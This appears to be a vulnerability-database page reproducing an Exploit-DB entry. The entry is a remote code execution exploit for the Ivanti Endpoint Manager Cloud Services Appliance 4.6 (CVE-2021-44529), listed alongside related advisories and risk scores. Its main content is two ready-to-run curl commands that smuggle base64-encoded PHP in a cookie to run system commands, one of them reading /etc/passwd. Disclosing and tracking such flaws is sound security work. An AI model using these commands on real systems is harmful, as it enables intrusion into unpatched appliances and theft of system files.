Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)

🗓️ 22 Mar 2022 00:00:00Reported by d7xType

exploitdb🔗 www.exploit-db.com👁 291 Views

Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE) by d7x on Linux x86_6

Reporter	Title	Published	Views	Family All 28
0day.today	Ivanti Endpoint Manager 4.6 - Remote Code Execution Vulnerability	22 Mar 202200:00	–	zdt
0day.today	Ivanti Cloud Services Appliance (CSA) Command Injection Exploit	19 Jan 202300:00	–	zdt
GithubExploit	Exploit for Code Injection in Ivanti Endpoint_Manager_Cloud_Services_Appliance	17 Apr 202205:56	–	githubexploit
GithubExploit	Exploit for Code Injection in Ivanti Endpoint_Manager_Cloud_Services_Appliance	24 Mar 202203:58	–	githubexploit
ATTACKERKB	CVE-2021-44529	8 Dec 202100:00	–	attackerkb
Circl	CVE-2021-44529	9 Dec 202100:24	–	circl
CISA KEV Catalog	Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) Code Injection Vulnerability	25 Mar 202400:00	–	cisa_kev
CISA	CISA Adds Three Known Exploited Vulnerabilities to Catalog	25 Mar 202412:00	–	cisa
CNNVD	Ivanti Endpoint Manager 代码注入漏洞	8 Dec 202100:00	–	cnnvd
Check Point Advisories	Ivanti EPM Cloud Services Appliance Code Injection (CVE-2021-44529)	29 Aug 202200:00	–	checkpoint_advisories

# Exploit Title: Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)
# Date: 20/03/2022 
# Exploit Author: d7x 
# Vendor Homepage: https://www.ivanti.com/ 
# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 
# Version: CSA 4.6 4.5 - EOF Aug 2021 
# Tested on: Linux x86_64
# CVE : CVE-2021-44529

###
This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz): 
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US

Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
###

# cat /etc/passwd
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo

# sleep for 10 seconds
curl -i -s -k -X $'GET' -b $'e=ab; exec=c2xlZXAoMTApOw==; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo

22 Mar 2022 00:00Current

9.6High risk

Vulners AI Score9.6

CVSS 27.5

CVSS 3.19.8

EPSS0.94461

SSVC